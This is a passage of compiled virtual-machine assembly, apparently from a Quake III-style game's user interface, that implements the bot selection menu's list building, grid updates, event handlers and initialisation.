INDIRI4 CVIU4 4 ARGU4 CNSTU4 4 ARGU4 ADDRGP4 UI_BotSelectMenu_SortCompare ARGP4 ADDRGP4 qk_qsort CALLV pop LABELV $1268 endproc UI_BotSelectMenu_BuildList 12 16 proc ServerPlayerIcon 80 20 ADDRLP4 4 ARGP4 ADDRFP4 0 INDIRP4 ARGP4 CNSTI4 64 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRLP4 4 ARGP4 CNSTI4 47 ARGI4 ADDRLP4 68 ADDRGP4 qk_strrchr CALLP4 ASGNP4 ADDRLP4 0 ADDRLP4 68 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 CVPU4 4 CNSTU4 0 EQU4 $1287 ADDRLP4 72 ADDRLP4 0 INDIRP4 ASGNP4 ADDRLP4 0 ADDRLP4 72 INDIRP4 CNSTI4 1 ADDP4 ASGNP4 ADDRLP4 72 INDIRP4 CNSTI1 0 ASGNI1 ADDRGP4 $1288 JUMPV LABELV $1287 ADDRLP4 0 ADDRGP4 $1289 ASGNP4 LABELV $1288 ADDRFP4 4 INDIRP4 ARGP4 ADDRFP4 8 INDIRI4 ARGI4 ADDRGP4 $1290 ARGP4 ADDRLP4 4 ARGP4 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 Com_sprintf CALLI4 pop ADDRFP4 4 INDIRP4 ARGP4 ADDRLP4 72 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 ASGNI4 ADDRLP4 72 INDIRI4 CNSTI4 0 NEI4 $1291 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 $1289 ARGP4 ADDRLP4 76 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 76 INDIRI4 CNSTI4 0 EQI4 $1291 ADDRFP4 4 INDIRP4 ARGP4 ADDRFP4 8 INDIRI4 ARGI4 ADDRGP4 $1293 ARGP4 ADDRLP4 4 ARGP4 ADDRGP4 Com_sprintf CALLI4 pop LABELV $1291 LABELV $1286 endproc ServerPlayerIcon 80 20 proc UI_BotSelectMenu_UpdateGrid 36 12 ADDRLP4 4 ADDRGP4 botSelectInfo+4772 INDIRI4 CNSTI4 4 LSHI4 ASGNI4 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $1296 ADDRLP4 4 INDIRI4 ADDRGP4 botSelectInfo+4768 INDIRI4 GEI4 $1300 ADDRLP4 4 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 botSelectInfo+4784 ADDP4 INDIRI4 ARGI4 ADDRLP4 12 ADDRGP4 UI_GetBotInfoByNumber CALLP4 ASGNP4 ADDRLP4 8 ADDRLP4 12 INDIRP4 ASGNP4 ADDRLP4 8 INDIRP4 ARGP4 ADDRGP4 $1304 ARGP4 ADDRLP4 16 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 16 INDIRP4 ARGP4 ADDRLP4 0 INDIRI4 CNSTI4 6 LSHI4 ADDRGP4 botSelectInfo+8880 ADDP4 ARGP4 CNSTI4 64 ARGI4 ADDRGP4 ServerPlayerIcon CALLV pop ADDRLP4 8 INDIRP4 ARGP4 ADDRGP4 $635 ARGP4 ADDRLP4 20 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 botSelectInfo+9904 ADDP4 ARGP4 ADDRLP4 20 INDIRP4 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 botSelectInfo+9904 ADDP4 ARGP4 ADDRGP4 Q_CleanStr CALLP4 pop CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+4 ADDP4 ADDRLP4 0 INDIRI4 CNSTI4 6 LSHI4 ADDRGP4 botSelectInfo+8880 ADDP4 ASGNP4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 botSelectInfo+9904 ADDP4 ARGP4 ADDRLP4 28 ADDRGP4 BotAlreadySelected CALLI4 ASGNI4 ADDRLP4 28 INDIRI4 CNSTI4 0 EQI4 $1311 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+68 ADDP4 ADDRGP4 color_red ASGNP4 ADDRGP4 $1312 JUMPV LABELV $1311 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+68 ADDP4 ADDRGP4 color_orange ASGNP4 LABELV $1312 ADDRLP4 32 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+44 ADDP4 ASGNP4 ADDRLP4 32 INDIRP4 ADDRLP4 32 INDIRP4 INDIRU4 CNSTU4 4294950911 BANDU4 ASGNU4 ADDRGP4 $1301 JUMPV LABELV $1300 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+4 ADDP4 CNSTP4 0 ASGNP4 ADDRLP4 12 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+44 ADDP4 ASGNP4 ADDRLP4 12 INDIRP4 ADDRLP4 12 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 botSelectInfo+9904 ADDP4 CNSTI1 0 ASGNI1 LABELV $1301 ADDRLP4 12 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+44 ADDP4 ASGNP4 ADDRLP4 12 INDIRP4 ADDRLP4 12 INDIRP4 INDIRU4 CNSTU4 4294967231 BANDU4 ASGNU4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+68 ADDP4 CNSTI4 0 ASGNI4 ADDRLP4 16 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+44 ADDP4 ASGNP4 ADDRLP4 16 INDIRP4 ADDRLP4 16 INDIRP4 INDIRU4 CNSTU4 256 BORU4 ASGNU4 LABELV $1297 ADDRLP4 12 CNSTI4 1 ASGNI4 ADDRLP4 0 ADDRLP4 0 INDIRI4 ADDRLP4 12 INDIRI4 ADDI4 ASGNI4 ADDRLP4 4 ADDRLP4 4 INDIRI4 ADDRLP4 12 INDIRI4 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 16 LTI4 $1296 ADDRLP4 0 ADDRGP4 botSelectInfo+4780 INDIRI4 CNSTI4 16 MODI4 ASGNI4 ADDRLP4 16 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+44 ADDP4 ASGNP4 ADDRLP4 16 INDIRP4 ADDRLP4 16 INDIRP4 INDIRU4 CNSTU4 64 BORU4 ASGNU4 ADDRLP4 20 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+44 ADDP4 ASGNP4 ADDRLP4 20 INDIRP4 ADDRLP4 20 INDIRP4 INDIRU4 CNSTU4 4294967039 BANDU4 ASGNU4 ADDRGP4 botSelectInfo+4776 INDIRI4 CNSTI4 1 LEI4 $1336 ADDRGP4 botSelectInfo+4772 INDIRI4 CNSTI4 0 LEI4 $1339 ADDRLP4 24 ADDRGP4 botSelectInfo+4416+44 ASGNP4 ADDRLP4 24 INDIRP4 ADDRLP4 24 INDIRP4 INDIRU4 CNSTU4 4294950911 BANDU4 ASGNU4 ADDRGP4 $1340 JUMPV LABELV $1339 ADDRLP4 24 ADDRGP4 botSelectInfo+4416+44 ASGNP4 ADDRLP4 24 INDIRP4 ADDRLP4 24 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 LABELV $1340 ADDRGP4 botSelectInfo+4772 INDIRI4 ADDRGP4 botSelectInfo+4776 INDIRI4 CNSTI4 1 SUBI4 GEI4 $1346 ADDRLP4 24 ADDRGP4 botSelectInfo+4504+44 ASGNP4 ADDRLP4 24 INDIRP4 ADDRLP4 24 INDIRP4 INDIRU4 CNSTU4 4294950911 BANDU4 ASGNU4 ADDRGP4 $1337 JUMPV LABELV $1346 ADDRLP4 24 ADDRGP4 botSelectInfo+4504+44 ASGNP4 ADDRLP4 24 INDIRP4 ADDRLP4 24 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 ADDRGP4 $1337 JUMPV LABELV $1336 ADDRLP4 24 ADDRGP4 botSelectInfo+4416+44 ASGNP4 ADDRLP4 24 INDIRP4 ADDRLP4 24 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 ADDRLP4 28 ADDRGP4 botSelectInfo+4504+44 ASGNP4 ADDRLP4 28 INDIRP4 ADDRLP4 28 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 LABELV $1337 LABELV $1294 endproc UI_BotSelectMenu_UpdateGrid 36 12 proc UI_BotSelectMenu_Default 28 8 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRLP4 0 CNSTI4 0 ASGNI4 ADDRGP4 $1362 JUMPV LABELV $1359 ADDRLP4 0 INDIRI4 ARGI4 ADDRLP4 16 ADDRGP4 UI_GetBotInfoByNumber CALLP4 ASGNP4 ADDRLP4 8 ADDRLP4 16 INDIRP4 ASGNP4 ADDRLP4 8 INDIRP4 ARGP4 ADDRGP4 $635 ARGP4 ADDRLP4 20 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 12 ADDRLP4 20 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRLP4 12 INDIRP4 ARGP4 ADDRLP4 24 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 24 INDIRI4 CNSTI4 0 NEI4 $1364 ADDRGP4 $1361 JUMPV LABELV $1364 LABELV $1360 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $1362 ADDRLP4 0 INDIRI4 ADDRGP4 botSelectInfo+4768 INDIRI4 LTI4 $1359 LABELV $1361 ADDRLP4 0 INDIRI4 ADDRGP4 botSelectInfo+4768 INDIRI4 NEI4 $1366 ADDRGP4 botSelectInfo+4780 CNSTI4 0 ASGNI4 ADDRGP4 $1358 JUMPV LABELV $1366 ADDRLP4 4 CNSTI4 0 ASGNI4 ADDRGP4 $1373 JUMPV LABELV $1370 ADDRLP4 4 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 botSelectInfo+4784 ADDP4 INDIRI4 ADDRLP4 0 INDIRI4 NEI4 $1375 ADDRGP4 $1372 JUMPV LABELV $1375 LABELV $1371 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $1373 ADDRLP4 4 INDIRI4 ADDRGP4 botSelectInfo+4768 INDIRI4 LTI4 $1370 LABELV $1372 ADDRLP4 4 INDIRI4 ADDRGP4 botSelectInfo+4768 INDIRI4 NEI4 $1378 ADDRGP4 botSelectInfo+4780 CNSTI4 0 ASGNI4 ADDRGP4 $1358 JUMPV LABELV $1378 ADDRGP4 botSelectInfo+4780 ADDRLP4 4 INDIRI4 ASGNI4 LABELV $1358 endproc UI_BotSelectMenu_Default 28 8 proc UI_BotSelectMenu_LeftEvent 4 0 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $1384 ADDRGP4 $1383 JUMPV LABELV $1384 ADDRGP4 botSelectInfo+4772 INDIRI4 CNSTI4 0 LEI4 $1386 ADDRLP4 0 ADDRGP4 botSelectInfo+4772 ASGNP4 ADDRLP4 0 INDIRP4 ADDRLP4 0 INDIRP4 INDIRI4 CNSTI4 1 SUBI4 ASGNI4 ADDRGP4 botSelectInfo+4780 ADDRGP4 botSelectInfo+4772 INDIRI4 CNSTI4 4 LSHI4 ASGNI4 ADDRGP4 UI_BotSelectMenu_UpdateGrid CALLV pop LABELV $1386 LABELV $1383 endproc UI_BotSelectMenu_LeftEvent 4 0 proc UI_BotSelectMenu_RightEvent 4 0 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $1393 ADDRGP4 $1392 JUMPV LABELV $1393 ADDRGP4 botSelectInfo+4772 INDIRI4 ADDRGP4 botSelectInfo+4776 INDIRI4 CNSTI4 1 SUBI4 GEI4 $1395 ADDRLP4 0 ADDRGP4 botSelectInfo+4772 ASGNP4 ADDRLP4 0 INDIRP4 ADDRLP4 0 INDIRP4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRGP4 botSelectInfo+4780 ADDRGP4 botSelectInfo+4772 INDIRI4 CNSTI4 4 LSHI4 ASGNI4 ADDRGP4 UI_BotSelectMenu_UpdateGrid CALLV pop LABELV $1395 LABELV $1392 endproc UI_BotSelectMenu_RightEvent 4 0 proc UI_BotSelectMenu_BotEvent 12 0 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $1403 ADDRGP4 $1402 JUMPV LABELV $1403 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $1405 ADDRLP4 4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+44 ADDP4 ASGNP4 ADDRLP4 4 INDIRP4 ADDRLP4 4 INDIRP4 INDIRU4 CNSTU4 4294967231 BANDU4 ASGNU4 ADDRLP4 8 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+44 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 256 BORU4 ASGNU4 LABELV $1406 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 16 LTI4 $1405 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 ASGNI4 ADDRLP4 4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+44 ADDP4 ASGNP4 ADDRLP4 4 INDIRP4 ADDRLP4 4 INDIRP4 INDIRU4 CNSTU4 64 BORU4 ASGNU4 ADDRLP4 8 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+44 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRU4 CNSTU4 4294967039 BANDU4 ASGNU4 ADDRGP4 botSelectInfo+4780 ADDRGP4 botSelectInfo+4772 INDIRI4 CNSTI4 4 LSHI4 ADDRLP4 0 INDIRI4 ADDI4 ASGNI4 LABELV $1402 endproc UI_BotSelectMenu_BotEvent 12 0 proc UI_BotSelectMenu_BackEvent 0 0 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $1420 ADDRGP4 $1419 JUMPV LABELV $1420 ADDRGP4 UI_PopMenu CALLV pop LABELV $1419 endproc UI_BotSelectMenu_BackEvent 0 0 proc UI_BotSelectMenu_SelectEvent 4 12 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $1423 ADDRGP4 $1422 JUMPV LABELV $1423 ADDRGP4 UI_PopMenu CALLV pop ADDRGP4 s_serveroptions+5920 CNSTI4 1 ASGNI4 ADDRGP4 s_serveroptions+5928 ARGP4 ADDRLP4 0 CNSTI4 16 ASGNI4 ADDRGP4 botSelectInfo+4780 INDIRI4 ADDRLP4 0 INDIRI4 MODI4 CNSTI4 4 LSHI4 ADDRGP4 botSelectInfo+9904 ADDP4 ARGP4 ADDRLP4 0 INDIRI4 ARGI4 ADDRGP4 Q_strncpyz CALLV pop LABELV $1422 endproc UI_BotSelectMenu_SelectEvent 4 12 export UI_BotSelectMenu_Cache proc UI_BotSelectMenu_Cache 0 4 ADDRGP4 $400 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $417 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $1430 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $1431 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $1432 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $1433 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $337 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $365 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $383 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop LABELV $1429 endproc UI_BotSelectMenu_Cache 0 4 proc UI_BotSelectMenu_Init 36 12 ADDRGP4 botSelectInfo ARGP4 CNSTI4 0 ARGI4 CNSTU4 10160 ARGU4 ADDRGP4 qk_memset CALLP4 pop ADDRGP4 botSelectInfo+276 CNSTI4 1 ASGNI4 ADDRGP4 botSelectInfo+280 CNSTI4 1 ASGNI4 ADDRGP4 UI_BotSelectMenu_Cache CALLV pop ADDRGP4 botSelectInfo+288 CNSTI4 10 ASGNI4 ADDRGP4 botSelectInfo+288+12 CNSTI4 320 ASGNI4 ADDRGP4 botSelectInfo+288+16 CNSTI4 16 ASGNI4 ADDRGP4 botSelectInfo+288+60 ADDRGP4 $1444 ASGNP4 ADDRGP4 botSelectInfo+288+68 ADDRGP4 color_white ASGNP4 ADDRGP4 botSelectInfo+288+64 CNSTI4 1 ASGNI4 ADDRLP4 8 CNSTI4 80 ASGNI4 ADDRLP4 20 CNSTI4 0 ASGNI4 ADDRLP4 16 ADDRLP4 20 INDIRI4 ASGNI4 ADDRLP4 0 ADDRLP4 20 INDIRI4 ASGNI4 ADDRGP4 $1452 JUMPV LABELV $1449 ADDRLP4 4 CNSTI4 180 ASGNI4 ADDRLP4 12 CNSTI4 0 ASGNI4 LABELV $1453 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360 ADDP4 CNSTI4 6 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+44 ADDP4 CNSTU4 16388 ASGNU4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+12 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+16 ADDP4 ADDRLP4 8 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+4 ADDP4 ADDRLP4 0 INDIRI4 CNSTI4 6 LSHI4 ADDRGP4 botSelectInfo+8880 ADDP4 ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+76 ADDP4 CNSTI4 64 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+80 ADDP4 CNSTI4 64 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+60 ADDP4 ADDRGP4 $1433 ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360+84 ADDP4 ADDRGP4 colorRed ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768 ADDP4 CNSTI4 6 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+44 ADDP4 CNSTU4 33028 ASGNU4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+48 ADDP4 ADDRGP4 UI_BotSelectMenu_BotEvent ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+8 ADDP4 ADDRLP4 0 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+12 ADDP4 ADDRLP4 4 INDIRI4 CNSTI4 16 SUBI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+16 ADDP4 ADDRLP4 8 INDIRI4 CNSTI4 16 SUBI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+20 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+24 ADDP4 ADDRLP4 8 INDIRI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+28 ADDP4 ADDRLP4 4 INDIRI4 CNSTI4 64 ADDI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+32 ADDP4 ADDRLP4 8 INDIRI4 CNSTI4 64 ADDI4 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+76 ADDP4 CNSTI4 128 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+80 ADDP4 CNSTI4 128 ASGNI4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+60 ADDP4 ADDRGP4 $1432 ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768+84 ADDP4 ADDRGP4 colorRed ASGNP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176 ADDP4 CNSTI4 7 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+44 ADDP4 CNSTU4 2 ASGNU4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+12 ADDP4 ADDRLP4 4 INDIRI4 CNSTI4 32 ADDI4 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+16 ADDP4 ADDRLP4 8 INDIRI4 CNSTI4 64 ADDI4 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+60 ADDP4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 botSelectInfo+9904 ADDP4 ASGNP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+68 ADDP4 ADDRGP4 color_orange ASGNP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176+64 ADDP4 CNSTI4 17 ASGNI4 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 70 ADDI4 ASGNI4 LABELV $1454 ADDRLP4 24 CNSTI4 1 ASGNI4 ADDRLP4 12 ADDRLP4 12 INDIRI4 ADDRLP4 24 INDIRI4 ADDI4 ASGNI4 ADDRLP4 0 ADDRLP4 0 INDIRI4 ADDRLP4 24 INDIRI4 ADDI4 ASGNI4 ADDRLP4 12 INDIRI4 CNSTI4 4 LTI4 $1453 ADDRLP4 8 ADDRLP4 8 INDIRI4 CNSTI4 86 ADDI4 ASGNI4 LABELV $1450 ADDRLP4 16 ADDRLP4 16 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $1452 ADDRLP4 16 INDIRI4 CNSTI4 4 LTI4 $1449 ADDRGP4 botSelectInfo+4328 CNSTI4 6 ASGNI4 ADDRGP4 botSelectInfo+4328+4 ADDRGP4 $337 ASGNP4 ADDRGP4 botSelectInfo+4328+44 CNSTU4 16384 ASGNU4 ADDRGP4 botSelectInfo+4328+12 CNSTI4 260 ASGNI4 ADDRGP4 botSelectInfo+4328+16 CNSTI4 440 ASGNI4 ADDRGP4 botSelectInfo+4328+76 CNSTI4 128 ASGNI4 ADDRGP4 botSelectInfo+4328+80 CNSTI4 32 ASGNI4 ADDRGP4 botSelectInfo+4416 CNSTI4 6 ASGNI4 ADDRGP4 botSelectInfo+4416+44 CNSTU4 260 ASGNU4 ADDRGP4 botSelectInfo+4416+48 ADDRGP4 UI_BotSelectMenu_LeftEvent ASGNP4 ADDRGP4 botSelectInfo+4416+12 CNSTI4 260 ASGNI4 ADDRGP4 botSelectInfo+4416+16 CNSTI4 440 ASGNI4 ADDRGP4 botSelectInfo+4416+76 CNSTI4 64 ASGNI4 ADDRGP4 botSelectInfo+4416+80 CNSTI4 32 ASGNI4 ADDRGP4 botSelectInfo+4416+60 ADDRGP4 $365 ASGNP4 ADDRGP4 botSelectInfo+4504 CNSTI4 6 ASGNI4 ADDRGP4 botSelectInfo+4504+44 CNSTU4 260 ASGNU4 ADDRGP4 botSelectInfo+4504+48 ADDRGP4 UI_BotSelectMenu_RightEvent ASGNP4 ADDRGP4 botSelectInfo+4504+12 CNSTI4 321 ASGNI4 ADDRGP4 botSelectInfo+4504+16 CNSTI4 440 ASGNI4 ADDRGP4 botSelectInfo+4504+76 CNSTI4 64 ASGNI4 ADDRGP4 botSelectInfo+4504+80 CNSTI4 32 ASGNI4 ADDRGP4 botSelectInfo+4504+60 ADDRGP4 $383 ASGNP4 ADDRGP4 botSelectInfo+4680 CNSTI4 6 ASGNI4 ADDRGP4 botSelectInfo+4680+4 ADDRGP4 $400 ASGNP4 ADDRGP4 botSelectInfo+4680+44 CNSTU4 260 ASGNU4 ADDRGP4 botSelectInfo+4680+48 ADDRGP4 UI_BotSelectMenu_BackEvent ASGNP4 ADDRGP4 botSelectInfo+4680+12 CNSTI4 0 ASGNI4 ADDRGP4 botSelectInfo+4680+16 CNSTI4 416 ASGNI4 ADDRGP4 botSelectInfo+4680+76 CNSTI4 128 ASGNI4 ADDRGP4 botSelectInfo+4680+80 CNSTI4 64 ASGNI4 ADDRGP4 botSelectInfo+4680+60 ADDRGP4 $417 ASGNP4 ADDRGP4 botSelectInfo+4592 CNSTI4 6 ASGNI4 ADDRGP4 botSelectInfo+4592+4 ADDRGP4 $1430 ASGNP4 ADDRGP4 botSelectInfo+4592+44 CNSTU4 272 ASGNU4 ADDRGP4 botSelectInfo+4592+48 ADDRGP4 UI_BotSelectMenu_SelectEvent ASGNP4 ADDRGP4 botSelectInfo+4592+12 CNSTI4 640 ASGNI4 ADDRGP4 botSelectInfo+4592+16 CNSTI4 416 ASGNI4 ADDRGP4 botSelectInfo+4592+76 CNSTI4 128 ASGNI4 ADDRGP4 botSelectInfo+4592+80 CNSTI4 64 ASGNI4 ADDRGP4 botSelectInfo+4592+60 ADDRGP4 $1431 ASGNP4 ADDRGP4 botSelectInfo ARGP4 ADDRGP4 botSelectInfo+288 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRLP4 16 CNSTI4 0 ASGNI4 LABELV $1594 ADDRGP4 botSelectInfo ARGP4 CNSTI4 88 ADDRLP4 16 INDIRI4 MULI4 ADDRGP4 botSelectInfo+360 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 botSelectInfo ARGP4 CNSTI4 88 ADDRLP4 16 INDIRI4 MULI4 ADDRGP4 botSelectInfo+1768 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 botSelectInfo ARGP4 CNSTI4 72 ADDRLP4 16 INDIRI4 MULI4 ADDRGP4 botSelectInfo+3176 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $1595 ADDRLP4 16 ADDRLP4 16 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 16 INDIRI4 CNSTI4 16 LTI4 $1594 ADDRGP4 botSelectInfo ARGP4 ADDRGP4 botSelectInfo+4328 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 botSelectInfo ARGP4 ADDRGP4 botSelectInfo+4416 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 botSelectInfo ARGP4 ADDRGP4 botSelectInfo+4504 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 botSelectInfo ARGP4 ADDRGP4 botSelectInfo+4680 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 botSelectInfo ARGP4 ADDRGP4 botSelectInfo+4592 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 UI_BotSelectMenu_BuildList CALLV pop ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 UI_BotSelectMenu_Default CALLV pop ADDRGP4 botSelectInfo+4772 ADDRGP4 botSelectInfo+4780 INDIRI4 CNSTI4 16 DIVI4 ASGNI4 ADDRGP4 UI_BotSelectMenu_UpdateGrid CALLV pop LABELV $1434 endproc UI_BotSelectMenu_Init 36 12 export UI_BotSelectMenu proc UI_BotSelectMenu 0 4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 UI_BotSelectMenu_Init CALLV pop ADDRGP4 botSelectInfo ARGP4 ADDRGP4 UI_PushMenu CALLV pop LABELV $1608 endproc UI_BotSelectMenu 0 4 bss align 4 LABELV botSelectInfo skip 10160 align 4 LABELV s_serveroptions skip 6040 import punkbuster_items align 4 LABELV s_startserver skip 6052 import UI_RankStatusMenu import RankStatus_Cache import UI_SignupMenu import Signup_Cache import UI_LoginMenu import Login_Cache import UI_RankingsMenu import Rankings_Cache import Rankings_DrawPassword import Rankings_DrawName import Rankings_DrawText import UI_InitGameinfo import UI_SPUnlockMedals_f import UI_SPUnlock_f import UI_GetAwardLevel import UI_LogAwardData import UI_NewGame import UI_GetCurrentGame import UI_CanShowTierVideo import 